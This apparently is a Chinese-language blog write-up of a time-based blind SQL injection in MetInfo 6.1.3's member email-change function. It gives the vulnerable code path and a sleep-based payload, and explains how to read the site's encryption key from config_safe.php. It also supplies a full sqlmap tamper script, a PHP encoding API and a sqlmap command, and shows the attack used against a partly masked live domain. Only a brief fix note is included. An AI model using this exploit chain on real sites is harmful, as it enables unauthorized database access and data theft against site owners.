<?php/*xxxx
会显示出来好像和php版本、容器、线程安全都有点关系,应该是非正确的php语法导致,具体和哪个有关不清楚,比如nginx+php-5.5.45-nts会导致报错而没有显示出来、apache(nginx)+php-5.6.27-nts等高版本会回显
metinfo<=6.1.3前台SQL注入
需要会员权限
对服务器版本有限制【PHP-TS】
0x01 前言
看到某info <= 6.1.3前台getshell后决定发出来 (里面没说前台注入啊【手动狗头】)
0x02 代码分析
定位到/member/basic.php
文件,代码如下:
看到这种样式的,我们就联想到了MVC
框架,类似Tp
、CI
、YII
,不过这是metinfo内置的框架,框架目录主要位于/app/system
中,每个文件夹都是一个家目录,我们主要定位到/app/system/user/web/profile.class.php
中的dosafety_emailadd
方法:
148 Line 使用global关键字引入全局变量$_M
149 Line判断外部传入的$_COOKIE or $_POST or $_GET参数p是否为真
150 Line加载了auth类并实例化赋值给$auth
151 Line将$_M['form']['p']传入auth类中的decode方法解密并赋值给$email
152 Line判断$email是否为真
153 Line将$_M['user']['id']、$email传入$this->userclass类中的editor_uesr_email方法
目前我们只需要看这么多就好啦!我们接着来分析这个auth
类,定位到/app/system/include/class/auth.class.php
176 Line使用global关键字将全局变量$_M引入到当前方法中
177 Line判断传入的参数$userid是否为假
180 Line将传入的参数$email传入到当前类中的get_user_by_email方法并判断返回值是否为真
进入get_user_by_email
方法中:
622 Line调用Load类中的静态方法is_plugin_exist判断doemail插件是否存在并将返回值赋予$isplugin
625 Line判断$isplugin是否为真
635 Line判断$emailres为真或者全等于NULL的情况下那么进入判断
636 Line调用当前类中的get_user_by_emailid静态方法
接着进入get_user_by_emailid
静态方法:
到这个方法之后,它直接将我们传入的$email
拼接到了SQL语句中,从而产生了SQL注入
0x03 代码调试
在dosafety_emailadd
方法中输入如下语句并且改变一下语句顺序:
在get_user_by_emailid
输入如下语句:
接下来访问下url:
http://localhost:8081/member/basic.php?a=dosafety_emailadd
可以看到程序成功将123
拼接到了SQL语句中,哈哈,万事大吉,但是程序最终返回的仅仅是true or false所以这里我们要用到延时注入,最终Payload如下:
再次访问
http://localhost:8081/member/basic.php?a=dosafety_emailadd
五秒以上才反应过来,程序是不是有点傻哦!正应了我们的延时盲注,接着我们将这段加密输出了之后再整吧!
再次访问
http://localhost:8081/member/basic.php?a=dosafety_emailadd
接着访问:
http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
又是过了很久才出来。。。
0x04 漏洞复现
http://www.d******re.com/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
调试半天发现是key的问题 key在/config/config_safe.php
,打开文件是这样的:
就在这里我做了一个大胆的假设,直接访问然后审查元素看看被注释的东西是否存在
访问:
view-source:http://localhost:8081/config/config_safe.php
这里是PHP版本的问题,在phpstudy中有两种大版本,PHP-nts(非线程安全)、PHP-ts(线程安全)
nts版本的PHP会显示如下内容
而ts版本如下:
这就意味着这个洞只能用于ts版本了 各位师傅如果有什么新发现来讨论一波可好?
接着我们把auth这个类复制出来,我们应用到加密去:
这个类中我们需要修改两处才能正常使用:
8 Line $this->auth_key中的值替换成获取到的key
31 Line $key = md5($key);
Over,我们来看看实际站点能否获取到它的key:
view-source:http://www.d****re.com/config/config_safe.php
把我用红色框框圈起来的放到需要替换key的那里去,接着实力化这个类,加密后再用url编码:
再访问:
http://www.d******e.com/member/basic.php?a=dosafety_emailadd&p=204eUixfyB1n2wh835QWkft%2F58n7Pbp2MgtdHLzL%2FCq55OGuDERix7KJfSE4dGNLKrCziXTr3U4GFyQi9LP1rLinR1JPFZWMASBEMQZ%2Fdrmg9eXwrzNkcmJWHn75LZpH3j6X
至此漏洞利用结束
0x05 漏洞修复
对于这里的修复就比较好了,metinfo函数库已经很成熟了,比如inject_check
(存在被绕过风险)、daddslashes
0x06 temper编写
需要注意将SQLMAP传入的payload通过api接口返回加密后的字符串进行处理
#!/usr/bin/env python
"""
Metinfo V6.1.3
"""
from lib.core.enums import PRIORITY
from sys import argv
import urllib2
__priority__ = PRIORITY.LOWEST
api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2"
key_name = "/config/config_safe.php"
def dependencies():
pass
def tamper(payload, **kwargs):
global api_url
url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","")
send_key(url)
res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload)))
if res["code"] == 200:
return res["text"]
def send_key(url):
global api_url,key_name
res = request(url+key_name)
if(res["code"] == 200):
if(len(res["text"])>0):
api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>",""))
else:
print "[-] URL can not be used. "
exit()
def request(url):
request = urllib2.Request(url)
request.add_header('Content-Type', 'application/x-www-form-urlencoded')
response = urllib2.urlopen(request)
return {"code":response.getcode(),"text":response.read()}
保存为py文件 供sqlmap调用
<?php
//作为api,方便调用,over
class auth {
public $auth_key;
public function __construct($key) {
$this->auth_key = $key;
}
public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}
public function encode($str, $key = '', $time = 0){
return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
}
public function creatkey($length = '10'){
$str="A2B3C4zD5yE6xF7wG8vH9uitJsKrLnMmNlPkQjRiShTgUfVeWdXcYbZa";
$result="";
for($i=0;$i<$length;$i++){
$num[$i]=rand(0,25);
$result.=$str[$num[$i]];
}
return $result;
}
public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
}
if(length(user())>=10,sleep(5),0);#"
if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"]))
{
$auth = new auth($_REQUEST["key"]);
}
else
{
exit("[-] Please input key.");
}
if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"]))
{
// var_dump($auth->encode("aaa@aa.com' or username='username' and if(length(user())>=10,sleep(5),0);#"));
// var_dump(urldecode($_REQUEST["encodestr"]));
exit($auth->encode(urldecode($_REQUEST["encodestr"])));
}
else
{
exit("[-] Please enter encrypted string.");
}
?>
保存为php文件 跑起来供上面的temper调用。(注意修改代码中的用户名为自己注册的用户名)
sqlmap:
sqlmap -u "http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=*" --cookie "会员cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"
Over,剩下的自己琢磨。